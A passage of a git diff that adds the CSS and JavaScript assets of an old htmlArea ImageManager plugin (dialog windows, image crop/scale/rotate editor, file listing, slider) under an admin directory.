+       setTimeout( function() { if (Dialog._modal && !Dialog._modal.closed) { Dialog._modal.focus() } }, 50);
+       if (Dialog._modal && !Dialog._modal.closed) {
+               Dialog._stopEvent(ev);
+       }
+};
+
+
+// should be a function, the return handler of the currently opened dialog.
+Dialog._return = null;
+
+// constant, the currently opened dialog
+Dialog._modal = null;
+
+// the dialog will read it's args from this variable
+Dialog._arguments = null;
+
+Dialog._geckoOpenModal = function(url, action, init) {
+       //var urlLink = "hadialog"+url.toString();
+       var myURL = "hadialog"+url;
+       var regObj = /\W/g;
+       myURL = myURL.replace(regObj,'_');
+       var dlg = window.open(url, myURL,
+                             "toolbar=no,menubar=no,personalbar=no,width=10,height=10," +
+                             "scrollbars=no,resizable=yes,modal=yes,dependable=yes");
+       Dialog._modal = dlg;
+       Dialog._arguments = init;
+
+       // capture some window's events
+       function capwin(w) {
+               Dialog._addEvent(w, "click", Dialog._parentEvent);
+               Dialog._addEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._addEvent(w, "focus", Dialog._parentEvent);
+       };
+       // release the captured events
+       function relwin(w) {
+               Dialog._removeEvent(w, "click", Dialog._parentEvent);
+               Dialog._removeEvent(w, "mousedown", Dialog._parentEvent);
+               Dialog._removeEvent(w, "focus", Dialog._parentEvent);
+       };
+       capwin(window);
+       // capture other frames
+       for (var i = 0; i < window.frames.length; capwin(window.frames[i++]));
+       // make up a function to be called when the Dialog ends.
+       Dialog._return = function (val) {
+               if (val && action) {
+                       action(val);
+               }
+               relwin(window);
+               // capture other frames
+               for (var i = 0; i < window.frames.length; relwin(window.frames[i++]));
+               Dialog._modal = null;
+       };
+};
+
+
+// event handling
+
+Dialog._addEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.attachEvent("on" + evname, func);
+       } else {
+               el.addEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._removeEvent = function(el, evname, func) {
+       if (Dialog.is_ie) {
+               el.detachEvent("on" + evname, func);
+       } else {
+               el.removeEventListener(evname, func, true);
+       }
+};
+
+
+Dialog._stopEvent = function(ev) {
+       if (Dialog.is_ie) {
+               ev.cancelBubble = true;
+               ev.returnValue = false;
+       } else {
+               ev.preventDefault();
+               ev.stopPropagation();
+       }
+};
+
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie      = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
diff --git a/admin/Contact/assets/editor.css b/admin/Contact/assets/editor.css
new file mode 100644 (file)
index 0000000..64db6dc
--- /dev/null
@@ -0,0 +1,194 @@
+               body
+               {
+                       margin: 0; padding: 0;
+                       font: 11px Tahoma,Verdana,sans-serif;
+               }
+               select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+
+               #indicator
+               {
+                       width: 25px;
+                       height: 20px;
+                       background-color: #eef;                 
+                       padding: 15px 20px;
+                       position: absolute;
+                       left: 0; top: 0;
+               }
+               * html #indicator
+               {
+                       padding: 14px 22px;
+               }
+               #tools
+               {
+                       width: 600px;
+                       height: 50px;
+                       background-color: #eef;
+                       padding: 0;
+                       position: absolute;
+                       left: 63px;
+                       border-left: 1px solid white;
+                       border-bottom: 1px solid white;
+               }
+               #toolbar
+               {
+                       width: 53px;
+                       height: 435px;
+                       background-color: #eef;
+                       float: left;
+                       text-align: center;
+                       padding: 5px;
+                       position: absolute;
+                       top: 50px;
+                       border-top: 1px solid white;
+                       border-right: 1px solid white;
+               }
+               
+               #contents
+               {
+                       width: 600px;
+                       height: 445px;
+                       position: absolute;
+                       left: 64px; top: 51px;
+               }
+               
+               #editor
+               {
+                       width: 600px;
+                       height: 445px;
+               }
+
+               #toolbar a 
+               {
+                       padding: 5px;
+                       width: 40px;
+                       display: block;
+                       border: 1px solid #eef;
+                       text-align: center;
+                       text-decoration: none;
+                       color: #669;
+                       margin: 5px 0;
+               }
+               #toolbar a:hover
+               {
+                       background-color: #F9F9FF;
+                       border-color: #669;
+               }
+               
+               #toolbar a.iconActive
+               {
+                       border-color: #669;
+               }
+
+               #toolbar a span
+               {
+                       display: block;
+                       text-decoration: none;
+                       
+               }
+               #toolbar a img
+               {
+                       border: 0 none;
+               }
+               
+               #tools .textInput
+               {
+                       width: 3em;
+                       vertical-align: 0px;
+
+               }
+               * html #tools .textInput
+               {
+                       vertical-align: middle;
+               }
+               #tools .measureStats
+               {
+                       width: 4.5em;
+                       border: 0 none;
+                       background-color: #eef;
+                       vertical-align: 0px;
+               }
+               * html #tools .measureStats
+               {
+                       vertical-align: middle;
+               }
+               #tools label
+               {
+                       margin: 0 2px 0 5px;
+               }
+               #tools input
+               {
+                       vertical-align: middle;
+               }
+               #tools #tool_inputs
+               {
+                       padding-top: 10px;
+                       float: left;                    
+               }
+               #tools .div
+               {
+                       vertical-align: middle;
+                       margin: 0 5px;
+               }
+               #tools img
+               {
+                       border: 0 none;
+               }
+               #tools a.buttons
+               {
+                       margin-top: 10px;
+                       border: 1px solid #eef;
+                       display: block;
+                       float: left;
+               }
+               #tools a.buttons:hover
+               {
+                       background-color: #F9F9FF;
+                       border-color: #669;
+               }
+               #slidercasing {
+    /*border:1px solid #CCCCCC;
+    background-color:#FFFFFF;*/
+    width:100px;
+    height:5px;
+    position:relative;
+    z-index:4;
+    padding:10px;
+        top: 6px;
+        margin: 0 -5px 0 -10px;
+
+       
+}
+
+
+#slidertrack {
+    position:relative;
+    border:1px solid #CCCCCC;
+    background-color:#FFFFCC;
+    z-index:5;
+    height:5px;
+}
+
+
+#sliderbar {
+    position:absolute;
+    z-index:6;
+    border:1px solid #CCCCCC;
+    background-color:#DDDDDD;
+    width:15px;     
+    padding:0px;
+    height:20px; 
+    cursor: pointer;
+    top:2px;
+}
+
+* html #slidercasing
+{
+       top:0;
+}
+
+
+#bottom
+{
+       position: relative;
+       top: 490px;
+}
diff --git a/admin/Contact/assets/editor.js b/admin/Contact/assets/editor.js
new file mode 100644 (file)
index 0000000..0f54a8e
--- /dev/null
@@ -0,0 +1,172 @@
+/**
+ * Functions for the ImageEditor interface, used by editor.php only    
+ * @author $Author: matrix $
+ * @version $Id: editor.js,v 1.1.1.1 2009/09/17 20:09:03 matrix Exp $
+ * @package ImageManager
+ */
+
+       var current_action = null;
+       var actions = ['crop', 'scale', 'rotate', 'measure', 'save'];
+       var orginal_width = null, orginal_height=null;
+       function toggle(action) 
+       {
+               if(current_action != action)
+               {
+
+                       for (var i in actions)
+                       {
+                               if(actions[i] != action)
+                               {
+                                       var tools = document.getElementById('tools_'+actions[i]);
+                                       tools.style.display = 'none';
+                                       var icon = document.getElementById('icon_'+actions[i]);
+                                       icon.className = '';
+                               }
+                       }
+
+                       current_action = action;
+                       
+                       var tools = document.getElementById('tools_'+action);
+                       tools.style.display = 'block';
+                       var icon = document.getElementById('icon_'+action);
+                       icon.className = 'iconActive';
+
+                       var indicator = document.getElementById('indicator_image');
+                       indicator.src = 'img/'+action+'.gif';
+
+                       editor.setMode(current_action);
+
+                       //constraints on the scale,
+                       //code by Frédéric Klee <fklee@isuisse.com>
+                       if(action == 'scale') 
+                       {
+                               var theImage = editor.window.document.getElementById('theImage');
+                               orginal_width = theImage.width ;
+                               orginal_height = theImage.height;
+
+                var w = document.getElementById('sw');
+                               w.value = orginal_width ;
+                               var h = document.getElementById('sh') ;
+                               h.value = orginal_height ;
+                       }
+
+               }
+       }
+
+       function toggleMarker() 
+       {
+               var marker = document.getElementById("markerImg");
+               
+               if(marker != null && marker.src != null) {
+                       if(marker.src.indexOf("t_black.gif") >= 0)
+                               marker.src = "img/t_white.gif";
+                       else
+                               marker.src = "img/t_black.gif";
+
+                       editor.toggleMarker();
+               }
+       }
+
+       //Togggle constraints, by Frédéric Klee <fklee@isuisse.com>
+       function toggleConstraints() 
+       {
+               var lock = document.getElementById("scaleConstImg");
+               var checkbox = document.getElementById("constProp");
+               
+               if(lock != null && lock.src != null) {
+                       if(lock.src.indexOf("unlocked2.gif") >= 0)
+                       {
+                               lock.src = "img/islocked2.gif";
+                               checkbox.checked = true;
+                               checkConstrains('width');
+
+                       }
+                       else
+                       {
+                               lock.src = "img/unlocked2.gif";
+                               checkbox.checked = false;
+                       }
+               }
+       }
+       
+       //check the constraints, by Frédéric Klee <fklee@isuisse.com>
+       function checkConstrains(changed) 
+       {
+               var constrained = document.getElementById('constProp');
+               if(constrained.checked) 
+               {
+                       var w = document.getElementById('sw') ;
+                       var width = w.value ;
+                       var h = document.getElementById('sh') ;
+                       var height = h.value ;
+                       
+                       if(orginal_width > 0 && orginal_height > 0) 
+                       {
+                               if(changed == 'width' && width > 0) 
+                                       h.value = parseInt((width/orginal_width)*orginal_height);
+                               else if(changed == 'height' && height > 0) 
+                                       w.value = parseInt((height/orginal_height)*orginal_width);
+                       }
+               }
+               
+               updateMarker('scale') ;
+       }
+
+
+       function updateMarker(mode) 
+       {
+               if (mode == 'crop')
+               {
+                       var t_cx = document.getElementById('cx');
+                       var t_cy = document.getElementById('cy');
+                       var t_cw = document.getElementById('cw');
+                       var t_ch = document.getElementById('ch');
+
+                       editor.setMarker(parseInt(t_cx.value), parseInt(t_cy.value), parseInt(t_cw.value), parseInt(t_ch.value));
+               }
+               else if(mode == 'scale') {
+                       var s_sw = document.getElementById('sw');
+                       var s_sh = document.getElementById('sh');
+                       editor.setMarker(0, 0, parseInt(s_sw.value), parseInt(s_sh.value));
+               }
+       }
+
+       
+       function rotatePreset(selection) 
+       {
+               var value = selection.options[selection.selectedIndex].value;
+               
+               if(value.length > 0 && parseInt(value) != 0) {
+                       var ra = document.getElementById('ra');
+                       ra.value = parseInt(value);
+               }
+       }
+
+       function updateFormat(selection) 
+       {
+               var selected = selection.options[selection.selectedIndex].value;
+
+               var values = selected.split(",");
+               if(values.length >1) {
+                       updateSlider(parseInt(values[1]));
+               }
+
+       }
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       init = function()
+       {
+               var bottom = document.getElementById('bottom');
+               if(window.opener)
+               {
+                       __dlg_init(bottom);
+                       __dlg_translate(I18N);
+               }
+       }
+
+       addEvent(window, 'load', init);
\ No newline at end of file
diff --git a/admin/Contact/assets/editorFrame.css b/admin/Contact/assets/editorFrame.css
new file mode 100644 (file)
index 0000000..b963710
--- /dev/null
@@ -0,0 +1,8 @@
+body { margin: 0; padding: 0;  background-color: #eee; }
+table { width: 100%; }
+table td { text-align: center; }
+.crop{cursor:crosshair;}
+.selection { border: dotted 1px #000000; position:absolute; width: 0px; height: 1px; z-index:5; }
+.selectionWhite{ border: dotted 1px #FFFFFF; position:absolute; width: 0px; height: 1px; z-index:5; }
+.handleBox{ z-index:105; }
+.error { font-size:large; font-weight:bold; color:#c00; font-family: Helvetica, sans-serif; } 
\ No newline at end of file
diff --git a/admin/Contact/assets/editorFrame.js b/admin/Contact/assets/editorFrame.js
new file mode 100644 (file)
index 0000000..eae4f74
--- /dev/null
@@ -0,0 +1,96 @@
+/**
+ * Javascript used by the editorFrame.php, it basically initializes the frame.
+ * @author $Author: matrix $
+ * @version $Id: editorFrame.js,v 1.1.1.1 2009/09/17 20:09:03 matrix Exp $
+ * @package ImageManager
+ */
+
+var topDoc = window.top.document;
+
+var t_cx = topDoc.getElementById('cx');
+var t_cy = topDoc.getElementById('cy');
+var t_cw = topDoc.getElementById('cw');
+var t_ch = topDoc.getElementById('ch');
+
+var m_sx = topDoc.getElementById('sx');
+var m_sy = topDoc.getElementById('sy');
+var m_w = topDoc.getElementById('mw');
+var m_h = topDoc.getElementById('mh');
+var m_a = topDoc.getElementById('ma');
+var m_d = topDoc.getElementById('md');
+
+var s_sw = topDoc.getElementById('sw');
+var s_sh = topDoc.getElementById('sh');
+
+var r_ra = topDoc.getElementById('ra');
+
+var pattern = "img/2x2.gif";
+
+function doSubmit(action)
+{
+    if (action == 'crop')
+    {
+        var url = "editorFrame.php?img="+currentImageFile+"&action=crop&params="+parseInt(t_cx.value)+','+parseInt(t_cy.value)+','+ parseInt(t_cw.value)+','+parseInt(t_ch.value);
+
+        //alert(url);
+        location.href = url;
+
+        //location.reload();
+    }   
+    else if (action == 'scale')
+    {
+        var url = "editorFrame.php?img="+currentImageFile+"&action=scale&params="+parseInt(s_sw.value)+','+parseInt(s_sh.value);
+        //alert(url);
+        location.href = url;
+        
+    }
+    else if (action == 'rotate')
+    {
+        var flip = topDoc.getElementById('flip');
+
+        if(flip.value == 'hoz' || flip.value == 'ver') 
+            location.href = "editorFrame.php?img="+currentImageFile+"&action=flip&params="+flip.value;
+        else if (isNaN(parseFloat(r_ra.value))==false)
+            location.href = "editorFrame.php?img="+currentImageFile+"&action=rotate&params="+parseFloat(r_ra.value);
+    }
+    else if(action == 'save') {
+        var s_file = topDoc.getElementById('save_filename');
+        var s_format = topDoc.getElementById('save_format');
+        var s_quality = topDoc.getElementById('quality');
+
+        var format = s_format.value.split(",");
+        if(s_file.value.length <= 0) 
+               {
+            alert(i18n('Please enter a filename to save.'));
+        }
+        else
+        {
+            var filename = encodeURI(s_file.value);
+            var quality = parseInt(s_quality.value);
+            var url = "editorFrame.php?img="+currentImageFile+"&action=save&params="+format[0]+","+quality+"&file="+filename;
+            //alert(url);
+            location.href = url;
+        }
+    }
+}
+
+
+function addEvent(obj, evType, fn)
+{ 
+       if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+       else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+       else {  return false; } 
+} 
+
+var jg_doc
+
+init = function()
+{
+       jg_doc = new jsGraphics("imgCanvas"); // draw directly into document
+       jg_doc.setColor("#000000"); // black
+
+       initEditor();
+}
+
+addEvent(window, 'load', init);
+
diff --git a/admin/Contact/assets/hover.htc b/admin/Contact/assets/hover.htc
new file mode 100644 (file)
index 0000000..555d820
--- /dev/null
@@ -0,0 +1,34 @@
+<attach event="onmouseover" handler="hoverRollOver" />
+<attach event="onmouseout" handler="hoverRollOff" />
+<script type="text/javascript">
+//
+//     Simple behaviour for IE5+ to emulate :hover CSS pseudo-class.
+//  Experimental ver 0.1
+//
+//     This is an experimental version! Handle with care!
+//     Manual at: http://www.hszk.bme.hu/~hj130/css/list_menu/hover/
+//
+
+function hoverRollOver() {
+       
+       element.origClassName = element.className;      // backup origonal className
+       
+       var tempClassStr = element.className;           
+       
+       tempClassStr += "Hover";                                        // convert name+'Hover' the last class name     to emulate tag.class:hover
+       
+       tempClassStr = tempClassStr.replace(/\s/g,"Hover ");    //convert name+'Hover' the others to emulate tag.class:hover
+       
+       tempClassStr += " hover";                               // add simple 'hover' class name to emulate tag:hover
+       
+       element.className = element.className + " " + tempClassStr; 
+       
+       //alert(element.className);
+       //window.status = element.className;            // only for TEST
+}
+function hoverRollOff() {
+       element.className = element.origClassName;
+}
+
+</script>
+
diff --git a/admin/Contact/assets/imagelist.css b/admin/Contact/assets/imagelist.css
new file mode 100644 (file)
index 0000000..14524b7
--- /dev/null
@@ -0,0 +1,10 @@
+body { margin: 0; padding: 0; }
+.block { height: 98px; width: 98px; border: 1px solid threedface; text-align: center; behavior: url(hover.htc ); }
+.block a img { border: 0 none; }
+.block:hover, .block.hover{ background-color: #ffc; }
+.edit { font-size: 9pt; font-family: "MS Sans Serif", Geneva, sans-serif; padding-top: 3px;}
+.edit a { border: 1px solid white; padding: 3px; }
+.edit a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; background-color: #ffc; }
+.edit a img { border: 0 none; vertical-align: bottom; }
+.noResult { font-size:large; font-weight:bold; color:#ccc; font-family: Helvetica, sans-serif;  text-align: center;  padding-top: 60px;   }
+.error { color:#c00; font-weight:bold; font-size: medium; font-family: Helvetica, sans-serif; text-align: center;  padding-top: 65px;}
\ No newline at end of file
diff --git a/admin/Contact/assets/images.js b/admin/Contact/assets/images.js
new file mode 100644 (file)
index 0000000..fc747e9
--- /dev/null
@@ -0,0 +1,105 @@
+/**
+ * Functions for the image listing, used by images.php only    
+ * @author $Author: matrix $
+ * @version $Id: images.js,v 1.1.1.1 2009/09/17 20:09:03 matrix Exp $
+ * @package ImageManager
+ */
+
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+       function changeDir(newDir) 
+       {
+               showMessage('Loading');
+               location.href = "images.php?dir="+newDir;
+       }
+
+
+       function newFolder(dir, newDir) 
+       {
+               location.href = "images.php?dir="+dir+"&newDir="+newDir;
+       }
+
+       //update the dir list in the parent window.
+       function updateDir(newDir)
+       {
+               var selection = window.top.document.getElementById('dirPath');
+               if(selection)
+               {
+                       for(var i = 0; i < selection.length; i++)
+                       {
+                               var thisDir = selection.options[i].text;
+                               if(thisDir == newDir)
+                               {
+                                       selection.selectedIndex = i;
+                                       showMessage('Loading');
+                                       break;
+                               }
+                       }               
+               }
+       }
+
+       function selectImage(filename, alt, width, height) 
+       {
+               var topDoc = window.top.document;
+               
+               var obj = topDoc.getElementById('f_url');  obj.value = filename;
+               var obj = topDoc.getElementById('f_width');  obj.value = width;
+               var obj = topDoc.getElementById('f_width'); obj.value = width;
+               var obj = topDoc.getElementById('f_height'); obj.value = height;
+               var obj = topDoc.getElementById('f_alt'); obj.value = alt;
+               var obj = topDoc.getElementById('orginal_width'); obj.value = width;
+               var obj = topDoc.getElementById('orginal_height'); obj.value = height;          
+       }
+
+       function showMessage(newMessage) 
+       {
+               var topDoc = window.top.document;
+
+               var message = topDoc.getElementById('message');
+               var messages = topDoc.getElementById('messages');
+               if(message && messages)
+               {
+                       if(message.firstChild)
+                               message.removeChild(message.firstChild);
+
+                       message.appendChild(topDoc.createTextNode(i18n(newMessage)));
+                       
+                       messages.style.display = "block";
+               }
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       function confirmDeleteFile(file) 
+       {
+               if(confirm(i18n("Delete file?")))
+                       return true;
+       
+               return false;           
+       }
+
+       function confirmDeleteDir(dir, count) 
+       {
+               if(count > 0)
+               {
+                       alert(i18n("Please delete all files/folders inside the folder you wish to delete first."));
+                       return;
+               }
+
+               if(confirm(i18n("Delete folder?"))) 
+                       return true;
+
+               return false;
+       }
+
+       addEvent(window, 'load', init);
\ No newline at end of file
diff --git a/admin/Contact/assets/manager.css b/admin/Contact/assets/manager.css
new file mode 100644 (file)
index 0000000..c09857b
--- /dev/null
@@ -0,0 +1,19 @@
+html, body {  background-color: ButtonFace;  color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+fieldset { padding: 0;}
+.title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px  solid black; letter-spacing: 2px;}
+form { padding: 0px;  margin: 0 auto; width: 550px;}
+.dirWidth { width: 70%; }
+a { padding: 5px; border: 1px solid ButtonFace;        }       
+a img  { border: 0; }  
+a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; }
+.dirs {        padding: 1em;   }
+.imageFrame { width: 525px; height: 145px; margin: 0 auto; margin-top: 1em; background-color: White;}
+.smallWidth{ width: 4em; }
+.largelWidth{ width: 22em; }
+.inputTable { margin: 1em auto; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+.clearboth{ clear: both; }
+#messages { position: relative; left: 175px; top: 115px; background-color: white; width:200px;  float: left; margin-top: -52px; border: 1px solid #ccc; text-align: center; padding: 15px; }
+#message  { font-size: 15px; font-weight: bold; color: #69c; }
diff --git a/admin/Contact/assets/manager.js b/admin/Contact/assets/manager.js
new file mode 100644 (file)
index 0000000..8b2d8b4
--- /dev/null
@@ -0,0 +1,241 @@
+/**
+ * Functions for the ImageManager, used by manager.php only    
+ * @author $Author: matrix $
+ * @version $Id: manager.js,v 1.1.1.1 2009/09/17 20:09:03 matrix Exp $
+ * @package ImageManager
+ */
+       
+       //Translation
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+
+       //set the alignment options
+       function setAlign(align) 
+       {
+               var selection = document.getElementById('f_align');
+               for(var i = 0; i < selection.length; i++)
+               {
+                       if(selection.options[i].value == align)
+                       {
+                               selection.selectedIndex = i;
+                               break;
+                       }
+               }
+       }
+
+       //initialise the form
+       init = function () 
+       {
+               __dlg_init();
+
+               if(I18N)
+                       __dlg_translate(I18N);
+
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm) uploadForm.target = 'imgManager';
+
+               var param = window.dialogArguments;
+               if (param) 
+               {
+                       document.getElementById("f_url").value = param["f_url"];
+                       document.getElementById("f_alt").value = param["f_alt"];
+                       document.getElementById("f_border").value = param["f_border"];
+                       document.getElementById("f_vert").value = param["f_vert"];
+                       document.getElementById("f_horiz").value = param["f_horiz"];
+                       document.getElementById("f_width").value = param["f_width"];
+                       document.getElementById("f_height").value = param["f_height"];
+                       setAlign(param["f_align"]);
+               }
+
+               document.getElementById("f_url").focus();
+       }
+
+
+       function onCancel() 
+       {
+               __dlg_close(null);
+               return false;
+       };
+
+       function onOK() 
+       {
+               // pass data back to the calling window
+               var fields = ["f_url", "f_alt", "f_align", "f_border", "f_horiz", "f_vert", "f_height", "f_width"];
+               var param = new Object();
+               for (var i in fields) 
+               {
+                       var id = fields[i];
+                       var el = document.getElementById(id);
+                       if(id == "f_url" && el.value.indexOf('://') < 0 )
+                               param[id] = makeURL(base_url,el.value);
+                       else
+                               param[id] = el.value;
+               }
+               __dlg_close(param);
+               return false;
+       };
+
+       //similar to the Files::makeFile() in Files.php
+       function makeURL(pathA, pathB) 
+       {
+               if(pathA.substring(pathA.length-1) != '/')
+                       pathA += '/';
+
+               if(pathB.charAt(0) == '/');     
+                       pathB = pathB.substring(1);
+
+               return pathA+pathB;
+       }
+
+
+       function updateDir(selection) 
+       {
+               var newDir = selection.options[selection.selectedIndex].value;
+               changeDir(newDir);
+       }
+
+       function goUpDir() 
+       {
+               var selection = document.getElementById('dirPath');
+               var currentDir = selection.options[selection.selectedIndex].text;
+               if(currentDir.length < 2)
+                       return false;
+               var dirs = currentDir.split('/');
+               
+               var search = '';
+
+               for(var i = 0; i < dirs.length - 2; i++)
+               {
+                       search += dirs[i]+'/';
+               }
+
+               for(var i = 0; i < selection.length; i++)
+               {
+                       var thisDir = selection.options[i].text;
+                       if(thisDir == search)
+                       {
+                               selection.selectedIndex = i;
+                               var newDir = selection.options[i].value;
+                               changeDir(newDir);
+                               break;
+                       }
+               }
+       }
+
+       function changeDir(newDir) 
+       {
+               if(typeof imgManager != 'undefined')
+                       imgManager.changeDir(newDir);
+       }
+
+       function toggleConstrains(constrains) 
+       {
+               var lockImage = document.getElementById('imgLock');
+               var constrains = document.getElementById('constrain_prop');
+
+               if(constrains.checked) 
+               {
+                       lockImage.src = "img/locked.gif";       
+                       checkConstrains('width') 
+               }
+               else
+               {
+                       lockImage.src = "img/unlocked.gif";     
+               }
+       }
+
+       function checkConstrains(changed) 
+       {
+               //alert(document.form1.constrain_prop);
+               var constrains = document.getElementById('constrain_prop');
+               
+               if(constrains.checked) 
+               {
+                       var obj = document.getElementById('orginal_width');
+                       var orginal_width = parseInt(obj.value);
+                       var obj = document.getElementById('orginal_height');
+                       var orginal_height = parseInt(obj.value);
+
+                       var widthObj = document.getElementById('f_width');
+                       var heightObj = document.getElementById('f_height');
+                       
+                       var width = parseInt(widthObj.value);
+                       var height = parseInt(heightObj.value);
+
+                       if(orginal_width > 0 && orginal_height > 0) 
+                       {
+                               if(changed == 'width' && width > 0) {
+                                       heightObj.value = parseInt((width/orginal_width)*orginal_height);
+                               }
+
+                               if(changed == 'height' && height > 0) {
+                                       widthObj.value = parseInt((height/orginal_height)*orginal_width);
+                               }
+                       }                       
+               }
+       }
+
+       function showMessage(newMessage) 
+       {
+               var message = document.getElementById('message');
+               var messages = document.getElementById('messages');
+               if(message.firstChild)
+                       message.removeChild(message.firstChild);
+
+               message.appendChild(document.createTextNode(i18n(newMessage)));
+               
+               messages.style.display = "block";
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       function doUpload() 
+       {
+               
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm)
+                       showMessage('Uploading');
+       }
+
+       function refresh()
+       {
+               var selection = document.getElementById('dirPath');
+               updateDir(selection);
+       }
+
+
+       function newFolder() 
+       {
+               var selection = document.getElementById('dirPath');
+               var dir = selection.options[selection.selectedIndex].value;
+
+               Dialog("newFolder.html", function(param) 
+               {
+                       if (!param) // user must have pressed Cancel
+                               return false;
+                       else
+                       {
+                               var folder = param['f_foldername'];
+                               if(folder == thumbdir)
+                               {
+                                       alert(i18n('Invalid folder name, please choose another folder name.'));
+                                       return false;
+                               }
+
+                               if (folder && folder != '' && typeof imgManager != 'undefined') 
+                                       imgManager.newFolder(dir, encodeURI(folder)); 
+                       }
+               }, null);
+       }
+
+       addEvent(window, 'load', init);
diff --git a/admin/Contact/assets/popup.js b/admin/Contact/assets/popup.js
new file mode 100644 (file)
index 0000000..fdef5d9
--- /dev/null
@@ -0,0 +1,123 @@
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2009/09/17 20:09:03 matrix Exp $
+
+// Slightly modified for the ImageManager, window resizing is done only
+// by each window's script. Added translation for a few other HTML elements.
+
+function getAbsolutePos(el) {
+       var r = { x: el.offsetLeft, y: el.offsetTop };
+       if (el.offsetParent) {
+               var tmp = getAbsolutePos(el.offsetParent);
+               r.x += tmp.x;
+               r.y += tmp.y;
+       }
+       return r;
+};
+
+function comboSelectValue(c, val) {
+       var ops = c.getElementsByTagName("option");
+       for (var i = ops.length; --i >= 0;) {
+               var op = ops[i];
+               op.selected = (op.value == val);
+       }
+       c.value = val;
+};
+
+function __dlg_onclose() {
+       if(opener.Dialog._return)
+               opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+       var body = document.body;
+       var body_height = 0;
+       if (typeof bottom == "undefined") {
+               var div = document.createElement("div");
+               body.appendChild(div);
+               var pos = getAbsolutePos(div);
+               body_height = pos.y;
+       } else {
+               var pos = getAbsolutePos(bottom);
+               body_height = pos.y + bottom.offsetHeight;
+       }
+       if(opener && opener.Dialog && opener.Dialog._arguments)
+               window.dialogArguments = opener.Dialog._arguments;
+       if (!document.all) {
+               //window.sizeToContent();
+               //window.sizeToContent();       // for reasons beyond understanding,
+                                       // only if we call it twice we get the
+                                       // correct size.
+               window.addEventListener("unload", __dlg_onclose, true);
+               // center on parent
+               var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+               var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+               window.moveTo(x, y);
+               //window.innerWidth = body.offsetWidth + 5;
+               //window.innerHeight = body_height + 2;
+       } else {
+               // window.dialogHeight = body.offsetHeight + 50 + "px";
+               // window.dialogWidth = body.offsetWidth + "px";
+               //window.resizeTo(body.offsetWidth, body_height);
+               var ch = body.clientHeight;
+               var cw = body.clientWidth;
+               //window.resizeBy(body.offsetWidth - cw, body_height - ch);
+               var W = body.offsetWidth;
+               var H = 2 * body_height - ch;
+               if(ch <= 0) H = body_height;
+               var x = (screen.availWidth - W) / 2;
+               var y = (screen.availHeight - H) / 2;
+               
+               window.moveTo(x, y);
+       }
+       document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+       var types = ["span", "option", "td", "button", "div", "label", "a","img", "legend"];
+       for (var type in types) {
+               var spans = document.getElementsByTagName(types[type]);
+               for (var i = spans.length; --i >= 0;) {
+                       var span = spans[i];
+                       if (span.firstChild && span.firstChild.data) {                          
+                               var txt = i18n[span.firstChild.data];
+                               if (txt) span.firstChild.data = txt;
+                       }
+                       if(span.title){
+                               var txt = i18n[span.title];
+                               if(txt) span.title = txt;
+                       }
+                       if(span.alt){
+                               var txt = i18n[span.alt];
+                               if(txt) span.alt = txt;
+                       }
+               }
+       }
+       var txt = i18n[document.title];
+       if (txt)
+               document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+       opener.Dialog._return(val);
+       window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+       ev || (ev = window.event);
+       if (ev.keyCode == 27) {
+               window.close();
+               return false;
+       }
+       return true;
+};
diff --git a/admin/Contact/assets/slider.js b/admin/Contact/assets/slider.js
new file mode 100644 (file)
index 0000000..5ddee75
--- /dev/null
@@ -0,0 +1,105 @@
+/***********************************************************************
+** Title.........:  Simple Lite Slider for Image Editor
+** Version.......:  1.1
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  slider.js
+** Last changed..:  31 Mar 2004 
+** Notes.........:  Works in IE and Mozilla
+**/ 
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+document.onmouseup = captureStop;
+
+var currentSlider = null,sliderField = null;
+var rangeMin = null, rangeMax= null, sx = -1, sy = -1, initX=0;
+
+function getMouseXY(e) {
+
